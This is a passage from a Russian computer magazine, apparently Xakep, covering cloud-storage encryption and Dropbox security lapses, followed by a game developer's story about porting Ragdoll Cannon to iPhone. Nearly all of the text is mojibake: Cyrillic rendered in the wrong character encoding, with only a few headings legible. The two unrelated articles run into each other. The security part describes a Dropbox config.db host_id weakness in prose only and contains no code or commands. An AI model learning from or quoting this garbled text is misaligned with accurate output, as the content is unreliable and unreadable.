ÖÑÁÎÉÌÉÚÆ ÅÏÂÁÃÌàÆÓÒà ÎÏÃÜÊ ÕÁÊÌ, ÏÎ ÙÉÕÑÔÆÓÒà É ÑÁÈÂÉÃÁÆÓÒà 
ÎÁ ÂÏÌÝÙÏÆ ËÏÌÉØÆÒÓÃÏ ÕÑÁÄÍÆÎÓÏÃ. ́ ÄÁÅÁÊ, ÄÅÆ ÑÁÈÍÆÚÁßÓÒà ÞÓÉ 
ÕÑÁÄÍÆÎÓÜ? £ ÏÂÌÁËÆ É... ËÏÍÐÝßÓÆÑÁÖ ÅÑÔÄÉÖ ÐÏÌÝÈÏÃÁÓÆÌÆÊ. ¥Á-ÅÁ, 

ÒÆÑÃÉÒ ÐÑÆÅÌÁÄÁÆÓ ßÈÆÑÁÍ ÐÑÏÄÑÁÍÍÔ «ÓÏÑÄÏÃÌÉ» ÒÃÏÉÍÉ ÍÏÚÎÏÒÓà-
ÍÉ. £ÒÆ ØÆÒÓÎÏ: ÆÒÌÉ ÐÏÌÝÈÏÃÁÓÆÌÝ ÐÏÅÆÌÉÓÒà ØÁÒÓÝß ÒÃÏÆÄÏ ÅÉÒËÁ 
Ò ÒÆÓÝß Wuala, ÏÎ ÐÏÌÔØÁÆÓ ÅÏÐÏÌÎÉÓÆÌÝÎÏÆ ÐÑÏÒÓÑÁÎÒÓÃÏ Ã ÏÂÌÁËÆ 
(ÅÌà ÞÓÏÄÏ ÎÆÏÂÖÏÅÉÍÏ, ØÓÏÂÜ ËÏÍÐÝßÓÆÑ ÂÜÌ ÃËÌßØÆÎ ÎÆ ÍÆÎÆÆ 4 
ØÁÒÏÃ Ã ÅÆÎÝ).  
³ÁËÉÍ ÏÂÑÁÈÏÍ, ÇÆÒÓËÉÆ ÅÉÒËÉ Wuala-ßÈÆÑÏÃ ÒÏÒÓÁÃÌàßÓ ÑÁÒÐÑÆÅÆ-
ÌÆÎÎÔß ÒÆÓÝ, ËÏÓÏÑÁà ÉÒÐÏÌÝÈÔÆÓÒà ÒÆÑÃÉÒÏÍ ÅÌà ÔÌÔØÙÆÎÉà ÒËÏÑÏÒÓÉ 
ÈÁÄÑÔÈËÉ ÕÁÊÌÏÃ, ÅÏÒÓÔÐÎÏÒÓÉ É ÒÏËÑÁÚÆÎÉà ÒÃÏÉÖ ÑÁÒÖÏÅÏÃ. ̧ ÓÏÂÜ 
ÄÁÑÁÎÓÉÑÏÃÁÓÝ, ØÓÏ ÅÁÎÎÜÆ ÎÉËÏÄÅÁ ÎÆ ÂÔÅÆÓ ÔÓÆÑàÎÜ, ÐÑÉÍÆÎàßÓÒà 
ÁÌÄÏÑÉÓÍÜ ËÏÑÑÆË×ÉÉ ÏÙÉÂÏË É ÒÆÑÝÆÈÎÁà ÉÈÂÜÓÏØÎÏÒÓÝ. ®Á ÒÓÁÑÓÆ 
ÐÏÌÝÈÏÃÁÓÆÌß ÂÆÒÐÌÁÓÎÏ ÃÜÅÆÌàÆÓÒà 1 ¤Â, ÎÏ ÏÎ ÍÏÇÆÓ ÐÑÏËÁØÁÓÝ ÁËËÁ-
ÔÎÓ ÈÁ ÒØÆÓ ÑÆÕÆÑÁÌÝÎÏÊ ÐÑÏÄÑÁÍÍÜ, ÐÑÉÃÌÆËÁà ÅÑÔÄÉÖ ÌßÅÆÊ (ÓÁË ÇÆ, 
ËÁË Ã Dropbox’Æ), Á ÓÁËÇÆ «ÐÑÏÅÁÇÉ» ÒÃÏÆÄÏ ÅÉÒËÏÃÏÄÏ ÐÑÏÒÓÑÁÎÒÓÃÁ. 
°Ï ÐÑÁÃÅÆ ÄÏÃÏÑà, ÐÏÌÎÏÒÓÝß ÐÆÑÆÊÓÉ ÎÁ Wuala à ÐÏËÁ ÎÆ ÑÆÙÉÌÒà. 
¦ÒÓÝ ÎÆÒËÏÌÝËÏ ÍÆÌÏØÆÊ, ËÏÓÏÑÜÆ ÐÏËÁ ÍÆÙÁßÓ ÞÓÏ ÒÅÆÌÁÓÝ. £ ÍÏÆÊ 
ÐÁÐËÆ Dropbox ÆÒÓÝ ÎÆÒËÏÌÝËÏ ÏÂÚÉÖ ÐÁÐÏË, ËÏÓÏÑÜÆ ÍÜ ÁËÓÉÃÎÏ 
ÉÒÐÏÌÝÈÔÆÍ Ò ÅÑÔÄÉÍÉ ÒÏÓÑÔÅÎÉËÁÍÉ ÅÌà ÒÏÃÍÆÒÓÎÏÊ ÑÁÂÏÓÜ ÎÁÅ 
ÅÏËÔÍÆÎÓÁÍÉ. ¾ÓÏ ÈÎÁØÉÓ, ØÓÏ ÐÆÑÆÊÓÉ ÎÁ Wuala ÐÑÉÅÆÓÒà ÃÒÆÍ. 
°ÑÉÌÏÇÆÎÉÆ ÅÌà ÍÏÂÉÌÝÎÏÄÏ ÓÆÌÆÕÏÎÁ, ÖÏÓà É ÐÑÆÅÏÒÓÁÃÌàÆÓ 
ÅÏÒÓÔÐ Ë ÕÁÊÌÁÍ Ã ÏÂÌÁËÆ, ÎÏ ÐÏËÁ ÒÉÌÝÎÏ ÏÄÑÁÎÉØÆÎÏ Ã ÃÏÈÍÏÇÎÏ-
ÒÓàÖ. ¡ ÉÎÓÆÑÕÆÊÒ ÅÌà ÅÏÒÓÔÐÁ Ë ÕÁÊÌÁÍ ØÆÑÆÈ ÂÑÁÔÈÆÑ ÑÆÁÌÉÈÏÃÁÎ 
ØÆÑÆÈ ÓÏÑÍÏÈÎÏÊ Java-ÁÐÐÌÆÓ. °ÏÞÓÏÍÔ ÒÃàÈËÁ Drobox+BoxCryptor 
— ÍÏÊ ÃÜÂÏÑ ÎÁ ÅÁÎÎÜÊ ÍÏÍÆÎÓ. £ÒÆ ÑÁÂÏÓÁÆÓ, ÃÒÆ ÐÑÉÃÜØÎÏ, ÃÒÆ 
ÂÆÈÏÐÁÒÎÏ — ËÏÑÏØÆ ÄÏÃÏÑà, ÍÎÆ ÎÑÁÃÉÓÒà.  z

Настраиваем EncFS под Mac OS X

°ÑÉ ÉÒÐÏÌÝÈÏÃÁÎÉÉ BoxCryptor ÓÜ ÔÇÆ ÎÆ ÒÍÏÇÆÙÝ ÐÑÏÒÍÏ-
ÓÑÆÓÝ ÈÁÚÉÚÆÎÎÜÆ ÕÁÊÌÜ ØÆÑÆÈ ÃÆÂ. ³ÏØÎÆÆ ÄÏÃÏÑà, ÒËÁØÁÓÝ-ÓÏ 
ÉÖ ÍÏÇÎÏ, ÎÏ ÓÏÌÝËÏ Ã ÈÁÙÉÕÑÏÃÁÎÎÏÍ ÃÉÅÆ. £ÜÑÔØÉÓÝ ÍÏÇÆÓ 
Portable-ÃÆÑÒÉà BoxCryptor, ËÏÓÏÑÁà ÐÏÍÏÇÆÓ ÑÁÒÙÉÕÑÏÃÁÓÝ 
ÈÁÄÑÔÇÆÎÎÜÆ ÉÈ ÏÂÌÁËÁ ÕÁÊÌÜ. °ÑÁÃÅÁ, ÆÒÌÉ ÓÜ ÎÆ ÏÓËÌßØÉÌ 
ÙÉÕÑÏÃÁÎÉÆ ÉÍÆÎ ÕÁÊÌÏÃ, ÓÏ ÎÁÊÓÉ ÎÔÇÎÜÆ ÅÏËÔÍÆÎÓÜ ÍÏÇÆÓ 
ÂÜÓÝ ÏÊ ËÁË ÎÆÐÑÏÒÓÏ. ©ÍÆÊ ÞÓÏ Ã ÃÉÅÔ. £ÏÏÂÚÆ Portable-ÃÆÑÒÉà 
BoxCryptor ÐÑÆÅÎÁÈÎÁØÆÎÁ ÅÌà ÉÒÐÏÌÝÈÏÃÁÎÉà Ã ÓÆÖ ÒÉÓÔÁ×É-
àÖ, ËÏÄÅÁ Ô ÐÏÌÝÈÏÃÁÓÆÌà ÏÄÑÁÎÉØÆÎÜ ÐÑÁÃÁ Ã ÒÉÒÓÆÍÆ. ¯ÎÁ, Ë 
ÒÌÏÃÔ, ÏÓÌÉØÎÏ ÌÁÅÉÓ Ò ÐÆÑÆÍÆÚÁÆÍÏÊ ÒÂÏÑËÏÊ Dropbox’Á — 
DropboxPortableAHK (dropportable.ho.am).

Доступ к шифрованным 
файлам через веб

7 апреля — ÉÒÒÌÆÅÏÃÁÓÆÌÝ ¥ÆÑÆË ®ÝßÓÏÎ ÑÁÒÒËÁÈÁÌ Ã ÒÃÏÆÍ 
ÂÌÏÄÆ (bit.ly/dropbox_fail) ÎÆËÏÓÏÑÜÆ ÐÏÅÑÏÂÎÏÒÓÉ ÏÂ ÁÃÓÏÑÉ-
ÈÁ×ÉÉ Dropbox. ¯ËÁÈÁÌÏÒÝ, ÃÒß ÉÎÕÏÑÍÁ×Éß ÅÌà ÁÔÓÆÎÓÉÕÉ-
ËÁ×ÉÉ ÐÑÏÄÑÁÍÍÁ ÖÑÁÎÉÓ Ã ÕÁÊÌÆ config.db. ¯Î ÎÁÖÏÅÉÓÒà Ã 
%APPDATA%\Dropbox É ÐÑÆÅÒÓÁÃÌàÆÓ ÒÏÂÏÊ ÂÁÈÔ ÅÁÎÎÜÖ SQLite. 
²ÑÆÅÉ ÍÎÏÄÉÖ ÅÑÔÄÉÖ ÐÏÌÆÊ ÏÅÎÏ ÉÈ ÎÉÖ — host_id — ÎÁÉÂÏÌÆÆ 
ÉÎÓÆÑÆÒÎÏÆ. ¯ÎÏ ÏÐÑÆÅÆÌàÆÓÒà ËÌÉÆÎÓÏÍ ÐÏÒÌÆ ÐÆÑÃÏÊ ÁÃÓÏ-
ÑÉÈÁ×ÉÉ É ÎÆ ÍÆÎàÆÓÒà ÒÏ ÃÑÆÍÆÎÆÍ. © ÃÏÓ Ã ØÆÍ ÈÁÒÁÅÁ. ¦ÄÏ 
ÈÎÁØÆÎÉÆ ÎÉËÁË ÎÆ ÐÑÉÃàÈÁÎÏ Ë ÒÉÒÓÆÍÆ. ²ËÏÐÉÑÏÃÁÃ config.
db ÎÁ ÅÑÔÄÔß ÍÁÙÉÎÔ, ÈÌÏÔÍÜÙÌÆÎÎÉË ÌÆÄËÏ ÐÏÌÔØÁÆÓ ÅÏÒÓÔÐ Ë 
ÅÁÎÎÜÍ ØÔÇÏÄÏ ÁËËÁÔÎÓÁ. ¢ÆÈ ÔÃÆÅÏÍÌÆÎÉà ÐÏÌÝÈÏÃÁÓÆÌà! ¢ÏÌÆÆ 
ÓÏÄÏ, ÅÁÇÆ ÆÒÌÉ ßÈÆÑ ÒÍÆÎÉÓ ÌÏÄÉÎ É ÐÁÑÏÌÝ, ÓÏÇÆ ÎÉØÆÄÏ ÎÆ 
ÉÈÍÆÎÉÓÒà — host_id ÃÒÆ ÑÁÃÎÏ ÏÒÓÁÎÆÓÒà ÃÁÌÉÅÎÜÍ. ®Á ÅÁÎÎÜÊ 
ÍÏÍÆÎÓ ÉÅÆÎÓÉÕÉËÁÓÏÑ ÐÑÉÃàÈÜÃÁÆÓÒà Ë ËÏÎËÑÆÓÎÏÍÔ ÔÒÓÑÏÊÒÓÃÔ 
É ÍÏÇÆÓ ÂÜÓÝ ÏÓÏÈÃÁÎ ØÆÑÆÈ ÃÆÂ-ÉÎÓÆÑÕÆÊÒ.

19 апреля — Dropbox ÍÆÎàÆÓ ÐÏÌÝÈÏÃÁÓÆÌÝÒËÏÆ ÒÏÄÌÁÙÆÎÉÆ, 
ÎÁÐÑàÍÔß ÈÁàÃÌàà, ØÓÏ ÐÑÉ ÎÆÏÂÖÏÅÉÍÏÒÓÉ ÍÏÇÆÓ ÑÁÒÙÉÕÑÏÃÁÓÝ 
ÕÁÊÌÜ ÐÏÌÝÈÏÃÁÓÆÌÆÊ É ÐÑÆÅÏÒÓÁÃÉÓÝ ÉÖ ÅÌà ÒÌÆÅÒÓÃÉà ÐÏ ÈÁËÏ-
ÎÁÍ ²¹¡.

26 апреля — ÎÁ GitHub’Æ ÐÏàÃÌàÆÓÒà ÏÓËÑÜÓÜÊ ÐÑÏÆËÓ Dropship 
(github.com/driverdan/dropship), ÐÏÈÃÏÌàßÚÉÊ ÂÜÒÓÑÏ ÐÏÌÔ-
ØÉÓÝ Ã ÒÃÏÆÍ ÁËËÁÔÎÓÆ ÌßÂÏÊ ÕÁÊÌ, ËÏÓÏÑÜÊ ÆÒÓÝ Ã ÏÂÌÁËÆ 
Dropbox. £ÒÆ, ØÓÏ ÎÆÏÂÖÏÅÉÍÏ, — ÈÎÁÓÝ ÆÄÏ ÖÞÙ. ² ÁÃÓÏÑÏÍ 
— £ÌÁÅÉÍÉÑÏÍ ÃÁÎ ÅÆÑ ¬ÁÁÎÏÍ — ÓÔÓ ÇÆ ÒÃàÈÁÌÒà ÄÌÁÃÎÜÊ 
ÓÆÖÎÉØÆÒËÉÊ ÅÉÑÆËÓÏÑ ÒÆÑÃÉÒÁ É ÃÆÇÌÉÃÏ ÐÏÐÑÏÒÉÌ ÔÂÑÁÓÝ 
ÉÒÖÏÅÎÉËÉ. °ÏÌÝÈÏÃÁÓÆÌÉ ÐÑÏÄÑÁÍÍÜ ÏÓÑÆÁÄÉÑÏÃÁÌÉ ÒÏÈÅÁÎÉÆÍ 
ÍÎÏÄÏØÉÒÌÆÎÎÜÖ ÈÆÑËÁÌ ÐÑÏÆËÓÁ ÎÁ github É ÎÁ ÒÁÍÏÍ Dropbox. 
£ ÓÆØÆÎÉÆ ËÏÑÏÓËÏÄÏ ÃÑÆÍÆÎÉ ÉÍ ÓÁËÇÆ ÐÑÉÙÌÁ ÐÑÏÒÝÂÁ ÐÑÆÅ-
ÒÓÁÃÉÓÆÌà Dropbox Ï ÎÆÍÆÅÌÆÎÎÏÍ ÔÅÁÌÆÎÉÉ ÕÁÊÌÏÃ ÐÑÏÆËÓÁ.

19 июня — Ã ÑÁÂÏÓÔ ÒÆÑÃÉÒÁ ÂÜÌ ÈÁÐÔÚÆÎ ÑÆÌÉÈ Ò ÒÆÑÝÆÈÎÏÊ 
ÔàÈÃÉÍÏÒÓÝß Ã ÒÉÒÓÆÍÆ ÁÃÓÏÑÉÈÁ×ÉÉ. £ ÑÆÈÔÌÝÓÁÓÆ ÌßÂÏÊ ÐÏÌÝ-
ÈÏÃÁÓÆÌÝ ÍÏÄ ÈÁÊÓÉ Ã ØÔÇÏÊ ÁËËÁÔÎÓ, ÎÆ ÈÎÁà ÐÁÑÏÌà. Dropbox 
ÏÐÑÁÃÅÜÃÁÆÓÒà, ØÓÏ ÈÁ ÃÑÆÍà, ËÏÓÏÑÏÆ ÔÙÌÏ ÎÁ ÉÒÐÑÁÃÌÆÎÉà 
ÔàÈÃÉÍÏÒÓÉ, ÃÖÏÅ ÏÒÔÚÆÒÓÃÌàÌÉ ÍÆÎÆÆ 1% ÐÏÌÝÈÏÃÁÓÆÌÆÊ.

Хроника фейлов Dropbox
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 ¦ÃÄÆÎÉÊ  «Johnny-K» «ÔÈÝÍÉÎ  (www.johnny-k.ru)

PC_ZONE

 028

×óòü áîëüøå ïàðû ëåò íàçàä ÿ ñèäåë äîìà è ñìîòðåë â òîëüêî ÷òî 
ïðèîáðåòåííûé MacBook Pro. Çàäà÷à áûëà ïðîñòàÿ — óìóäðèòüñÿ 
â êîðîòêèå ñðîêè ïîðòèðîâàòü íà iPhone ñâîþ ôëåø-èãðóøêó Rag-
doll Cannon. Îïûòà íå áûëî, ÿçûê Objective-C êàçàëñÿ äèêèì è 
íåïðèñòóïíûì, à ñèñòåìà Mac OS — íåïðèâû÷íîé. 

Как все начиналось
£ÒÆ ÎÁØÁÌÏÒÝ Ò ÓÏÄÏ, ØÓÏ Ã 2008 ÄÏÅÔ à ÈÁ ÙÆÒÓÝ ÅÎÆÊ ÒÍÁÒÓÆÑÉÌ ÎÁ 
Flash’Æ ÉÄÑÔÙËÔ Ragdoll Cannon. £ÆÒÝ ÄÆÊÍÐÌÆÊ ËÑÔÓÉÌÒà ÃÏËÑÔÄ 
ÐÔÙËÉ, ËÏÓÏÑÁà ÒÓÑÆÌàÆÓ ÍÁÌÆÎÝËÉÍÉ ÒÍÆÙÎÜÍÉ ØÆÌÏÃÆØËÁÍÉ. ¾ÓÏ 
ÃÒÆ ÂÏÌÝÙÆ ÐÏÖÏÅÉÌÏ ÎÁ ÂÁÌÏÃÒÓÃÏ: ÏØÆÎÝ ÐÑÏÒÓÁà ÕÉÈÉËÁ (ØÓÏÂÜ ÎÆ 

ÑÆÁÌÉÈÏÃÜÃÁÓÝ ÃÒÆ ÒÁÍÏÍÔ, à ÐÑÏÒÓÏ ÃÈàÌ ÄÏÓÏÃÜÊ ÅÃÉÇÏË box2d), 
ÄÑÁÕÉËÁ, ÎÁÐÉÒÁÎÎÁà ÙÁÑÉËÏÃÏÊ ÑÔØËÏÊ, É ÂÞËÄÑÁÔÎÅ ÉÈ ÍàÓÏÄÏ 
ÌÉÒÓËÁ ÓÆÓÑÁÅËÉ Ã ËÌÆÓÏØËÔ. ®Ï ÞÓÏ ÖÔÌÉÄÁÎÒÓÃÏ ÎÆ ÐÑÏÙÌÏ ÎÆÈÁÍÆ-
ØÆÎÎÜÍ. £ÜÒÏËÉÆ Ï×ÆÎËÉ ÉÄÑÏÃÜÖ ÐÏÑÓÁÌÏÃ, ËÁËÉÆ-ÓÏ ÐÑÉÈÏÃÜÆ ÍÆ-
ÒÓÁ — ÃÒÆ ÄÏÃÏÑÉÌÏ Ï ÓÏÍ, ØÓÏ ÞÓÁ casual-ÉÄÑÔÙËÁ ÌßÅàÍ ÎÑÁÃÉÓÒà. 

$500 000 
ÍÀ ÈÃÐÅ 
Â APPSTORE
Ïóòü game-ðàçðàáîò÷èêà: 
îò Flash ê èãðàì äëÿ iPhone
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°ÆÑÃÁà ØÁÒÓÝ ÐÑÉÎÆÒÌÁ ÍÎÆ ÃÒÆÄÏ $600, ÎÁÂÏÑ ÔÑÏÃÎÆÊ 
ÅÌà ÎÆÆ — ÆÚÆ $600, Á ÃÏÓ ÃÓÏÑÁà ØÁÒÓÝ — ÔÇÆ $8000. 
³ÑÆÓÝà, ËÁË ÐÑÏÅÏÌÇÆÎÉÆ ÔÇÆ ÏØÆÎÝ ÔÒÐÆÙÎÏÊ ÒÆÑÉÉ, 
ÏËÁÈÁÌÁÒÝ ÒÁÍÏÊ ÐÑÉÂÜÌÝÎÏÊ, É ÈÁÑÁÂÏÓÁÎÎÜÆ ÎÁ ÎÆÊ 
$25 000 ÏËÏÎØÁÓÆÌÝÎÏ ÔÂÆÅÉÌÉ ÍÆÎà Ã ÓÏÍ, ØÓÏ ÅÆÌÁÓÝ 
ÉÄÑÜ ÎÆ ÓÏÌÝËÏ ØÆÑÓÏÃÒËÉ ÔÃÌÆËÁÓÆÌÝÎÏ, ÎÏ É ÍÁÓÆÑÉ-
ÁÌÝÎÏ ÉÎÓÆÑÆÒÎÏ. ² Ragdoll Cannon à É ÎÁØÁÌ ÒÃÏÊ ÐÔÓÝ 
ÃÏ Flash-ÉÎÅÔÒÓÑÉß, ÄÅÆ ÐÏÈÇÆ ÅÏÒÓÉÄ, ËÁË ÍÎÆ ËÁÇÆÓÒà, 
ÖÏÑÏÙÉÖ ÑÆÈÔÌÝÓÁÓÏÃ. ²ÏÂÒÓÃÆÎÎÏ ÏÂÏ ÃÒÆÍ ÞÓÏÍ ÂÜÌÏ 
ÑÁÒÒËÁÈÁÎÏ Ã ÍÏÆÊ ÒÓÁÓÝÆ ««ÁË à ÒÓÁÌ ÈÁÑÁÂÁÓÜÃÁÓÝ ÎÁ 
ÉÄÑÁÖ» Ã ÎÏÍÆÑÆ 09/2010 ÇÔÑÎÁÌÁ ][.

Как крадут идеи
°ÏÈÇÆ ÎÁÒÓÔÐÉÌ ÍÏÍÆÎÓ, ËÏÄÅÁ à ÐÏÎàÌ, ØÓÏ ÐÏÑÁ ÃÜ-
ÖÏÅÉÓÝ Ò ÓÁËÏÊ ÖÏÑÏÙÆÊ ÉÄÑÏÊ ÎÁ ÑÜÎÏË, ÄÅÆ ÇÉÃÔÓ ÆÚÆ 
ÂÏÌÝÙÉÆ ÅÆÎÝÄÉ. AppStore — ÓÏÓ ÒÁÍÜÊ ÍÁÄÁÈÉÎ, ÄÅÆ 
ÐÑÏÅÁßÓÒà ÐÑÉÌÏÇÆÎÉà ÅÌà iPhone/iPod/iPad. °Ï-
ØÆÍÔ ÎÆ ÐÏÐÑÏÂÏÃÁÓÝ? £ÒÆ ÏËÁÈÁÌÏÒÝ ÎÆÐÑÏÒÓÏ. ÀÈÜË 
Objective-C, ÎÁ ËÏÓÏÑÏÍ Ã ÏÒÎÏÃÎÏÍ ÑÁÈÑÁÂÁÓÜÃÁßÓ-
Òà ÐÑÉÌÏÇÆÎÉà ÅÌà iPhone/iPad, ÅÁÃÁÌÒà ÓàÇÆÌÏ. ² 
ÍÆÑÓÃÏÊ ÓÏØËÉ ÒÉÓÔÁ×Éß ÐÏÍÏÄ ÒÅÃÉÎÔÓÝ cocos2d, ÏÅÉÎ 
ÉÈ ÒÁÍÜÖ ÉÈÃÆÒÓÎÜÖ ÅÃÉÇËÏÃ, ËÏÓÏÑÜÆ ÈÎÁØÉÓÆÌÝÎÏ 
ÏÂÌÆÄØÁßÓ ÒÏÈÅÁÎÉÆ ÉÄÑ ÅÌà iOS. ̧ ÆÑÆÈ ÎÆÒËÏÌÝËÏ ÅÎÆÊ 
ÞËÒÐÆÑÉÍÆÎÓÏÃ ÐÏàÃÉÌÁÒÝ ËÁËÁà-ÓÏ ÑÁÂÏÓÁßÚÁà ÐÏ-
ÅÆÌËÁ. £ÅÏÖÎÏÃÆÎÉÆ ÐÑÏÒÎÔÌÏÒÝ, ÐÆÑÃÜÆ ÑÆÈÔÌÝÓÁÓÜ 
(ÞÓÏ ÃÒÆÄÏ ÌÉÙÝ ÂÜÌÉ ÐÁÅÁßÚÉÆ ÎÁ ÎÆÐÏÅÃÉÇÎÔß ÂÁÌËÔ 
ËÉÑÐÉØÉ) ÎÆ ÍÏÄÌÉ ÎÆ ÑÁÅÏÃÁÓÝ, É à ÔÇÆ ÃÉÅÆÌ, ËÁË ÍÏÉ 
ÍÁÌÆÎÝËÉÆ ÑÁÄÅÏÌÌÜ ÌÆÓÁßÓ ÐÏ ÞËÑÁÎÔ ÁÊ-ÅÆÃÁÊÒÁ. ®Ï 
ÅÏÎÆÒÒà ÅÏ ÍÆÎà ÒÌÔÖ, ØÓÏ Ã AppStore ÐÏàÃÉÌÁÒÝ ÉÄÑÔÙËÁ 
Ragdoll Blaster. ®ÆÍÆÅÌÆÎÎÏ ÔÒÓÁÎÏÃÉÃ ÆÆ ÎÁ ÒÃÏÊ 
ÅÆÃÁÊÒ, à ÐÏÎàÌ, ØÓÏ ÒÌÆÄËÁ ÏÐÏÈÅÁÌ ÒÏ ÒÃÏÆÊ ÉÄÑÏÊ. 
Ragdoll Blaster — ÞÓÏ ÎÆ ÐÑÏÒÓÏ ËÌÏÎ, Á ÇÆÒÓËÉÊ ÑÉÐ-ÏÕÕ 
Ò Ragdoll Cannon’Á. ́ ÙÌÜÆ ÑÆÂàÓÁ, ËÏÎÆØÎÏ, ÐÑÉËÑÔÓÉ-
ÌÉ ÐÁÑÔ ÎÏÃÜÖ ÕÉÙÆË É ÐÆÑÆÅÆÌÁÌÉ ÐÏØÓÉ ÃÒÆ ÔÑÏÃÎÉ, 
ÎÏ ÇÆÒÓËÏÆ ÈÁÉÍÒÓÃÏÃÁÎÉÆ ÂÜÌÏ ÎÁÌÉ×Ï. £ ÓÏÓ ÅÆÎÝ à 
ÒÉÌÝÎÏ ÎÁÐÉÌÒà. ̈ ÁÃÓÑÁÙÎÉÆ ÇÁÌÏÂÜ Ã Apple ÎÉØÆÄÏ ÎÆ 
ÅÁÌÉ, ÔÙÌÜÆ ÎÆÄÏÅàÉ ÒÓÁÌÉ ÈÁÐÔÄÉÃÁÓÝ ÍÆÎà ÁÅÃÏËÁ-
ÓÁÍÉ, ÃÒÓÑÆØÎÜÍÉ ÉÒËÁÍÉ É ÐÑÏØÉÍ. ¥ÔÖ ÂÜÌ ÒÌÏÍÌÆÎ. 
±ÁÈÑÁÂÏÓËÔ ÐÏÅ iOS à ÏÒÎÏÃÁÓÆÌÝÎÏ ÈÁÂÑÏÒÉÌ, ÃÆÑÎÔÃ-
ÙÉÒÝ Ë ÈÁÑÁÂÏÓËÔ ÎÁ ÕÌÆÙ-ÉÄÑÁÖ. 

Как я узнал об издателях
²ÐÔÒÓà ÄÏÅ à ÐÏÌÔØÉÌ ÐÉÒÝÍÏ ÏÓ ÏÅÎÏÄÏ ÎÆÍ×Á, ËÏÓÏÑÜÊ 
ÉÎÓÆÑÆÒÏÃÁÌÒà ÍÏÉÍÉ Flash-ÉÄÑÁÍÉ. ²ÔÓÝ ÆÄÏ ÐÑÆÅ-
ÌÏÇÆÎÉà ÂÜÌÁ ÓÁËÏÃÁ: à ÐÏÑÓÉÑÔß ÎÆÒËÏÌÝËÏ ÉÄÑ ÎÁ 
ÁÊÕÏÎ, Á ÏÎ, ÓÏ ÆÒÓÝ ÆÄÏ ÕÉÑÍÁ-ÉÈÅÁÓÆÌÝÒÓÃÏ FDG-
Entertainment, ÐÑÏÅÃÉÄÁÆÓ ÉÖ Ã AppStore. «ÁË ÂÜ ÍÆÇÅÔ 
ÐÑÏØÉÍ ÏÎ ÔÐÏÍàÎÔÌ Ï Ragdoll Blaster’Æ. ̄ ËÁÈÁÌÏÒÝ, 
ØÓÏ ÉÄÑÁ ÈÁÑÁÂÏÓÁÌÁ ÔÙÌÜÍ ÎÆÄÏÅààÍ ÈÁ ÃÑÆÍà ÒÃÏÆÄÏ 
ÒÔÚÆÒÓÃÏÃÁÎÉà Ã ÞÐÐÌÏÃÒËÏÍ ÍÁÄÁÈÉÎÆ ÂÏÌÝÙÆ ÅÃÔÖ 

ÍÉÌÌÉÏÎÏÃ ÅÏÌÌÁÑÏÃ (ÎÁ ÅÁÎÎÜÊ ÍÏÍÆÎÓ ÃÍÆÒÓÆ ÒÏ 
ÃÓÏÑÏÊ ØÁÒÓÝß — ÃÒÆ ÓÑÉ). ̧ ÓÏ ÍÎÆ ÏÒÓÁÃÁÌÏÒÝ ÅÆÌÁÓÝ 
:)? ̈ ÁËÉÐÆÌÁ ÑÁÈÑÁÂÏÓËÁ. Objective-C ÔÇÆ ÎÆ ËÁÈÁÌÒà 
ÒÔÍÁÒÙÆÒÓÃÉÆÍ, ÖÏÓà, ÎÁÅÏ ÒËÁÈÁÓÝ, ËÏÅ ÃÒÆ-ÓÁËÉ ÑÏÇ-
ÅÁÌÒà Ã ÍÔËÁÖ. ²ÆÊØÁÒ, ÉÎÏÄÅÁ ÐÑÏÒÍÁÓÑÉÃÁà ÉÒÖÏÅÎÉËÉ, 
ÖÏØÆÓÒà ÐÏÒËÏÑÆÆ ÉÖ ÈÁËÑÜÓÝ, ÐÏÓÏÍÔ ØÓÏ ÞÓÏ ÓÉÖÉÊ ÔÇÁÒ 
ÅÌà ÌßÂÏÄÏ ÍÁÌÏ-ÍÁÌÝÒËÉ ÓÏÌËÏÃÏÄÏ ËÏÅÆÑÁ. ²ÓÏÉÌÏ 
ÍÎÆ ÐÑÆÅÒÓÁÃÉÓÝ, ØÓÏ Ã ÑÁÂÏÓÁßÚÉÊ ËÏÅ ÎÔÇÎÏ ÃÒÓÁÃÉÓÝ 
ØÓÏ-ÓÏ ÆÚÆ, ÓÁË ÒÑÁÈÔ ÖÏÓÆÌÏÒÝ ÂÑÏÒÉÓÝ ÃÒÆ ÎÁÕÉÄ. ̧ ÆÑÆÈ 
ÎÆÒËÏÌÝËÏ ÍÆÒà×ÆÃ ÍÜ ÃÜÐÔÒÓÉÌÉ Ã AppStore ÐÆÑÃÜÊ 
ÎÁÙ ÒÏÃÍÆÒÓÎÜÊ Ò FDG ÐÑÏÆËÓ — Physics Gamebox. 
°ÑÉÌÏÇÆÎÉÆ ÃËÌßØÁÌÏ Ã ÒÆÂà ÅÃÆ ÉÄÑÜ: Ragdoll Cannon 
É Roly-Poly Cannon (ÓÁËÇÆ ÏØÆÎÝ ÔÒÐÆÙÎÁà Flash-ÉÄÑÁ). 
© ÃÏÓ ÔÇÆ ØÆÑÆÈ ÎÆËÏÓÏÑÏÆ ÃÑÆÍà à ÔÇÆ ÓÑÆÈÃÏ Ï×ÆÎÉ-
ÃÁÌ ÑÆÈÔÌÝÓÁÓÜ ÑÁÂÏÓÜ. ®ÆÓ, ÞÓÏ ÎÆ ÂÜÌ «ÐÆÑÃÜÊ ÂÌÉÎ 
ËÏÍÏÍ». ̄ ÂÚÉÊ ÈÁÑÁÂÏÓÏË Ò ÞÓÏÄÏ ÐÑÉÌÏÇÆÎÉà ÒÏÒÓÁÃÉÌ 
ÂÏÌÆÆ ÒÓÁ ÓÜÒàØ ÅÏÌÌÁÑÏÃ, ËÏÓÏÑÜÆ ÐÏÅÆÌÉÌÉ ÍÜ ÃÓÑÏÆÍ 
(Apple ÐÏ ÅÏÄÏÃÏÑÔ ÈÁÂÑÁÌ 30 ÐÑÏ×ÆÎÓÏÃ, ÏÒÓÁÓÏË ÑÁÈ-
ÅÆÑÂÁÎÉÌÉ ÍÜ Ò ÉÈÅÁÓÆÌÆÍ). ¾ÓÏ ÂÜÌ ÏØÆÎÝ ÎÆÐÌÏÖÏÊ 
ÐÑÏÑÜÃ Ã ÒÍÜÒÌÆ ÅÏÖÏÅÎÏÒÓÉ, ÎÏ ÓÔÓ ÇÆ, ËÁË ÞÓÏ ÏÂÜØÎÏ 
ÂÜÃÁÆÓ, ÈÁÖÏÓÆÌÏÒÝ ÂÏÌÝÙÆÄÏ. 

Как мы начали большой 
проект
« ÞÓÏÍÔ ÍÏÍÆÎÓÔ à ÐÏÎàÌ, ØÓÏ ÏÅÉÎ à ÎÆ ÍÏÄÔ ÒÅÆÌÁÓÝ 
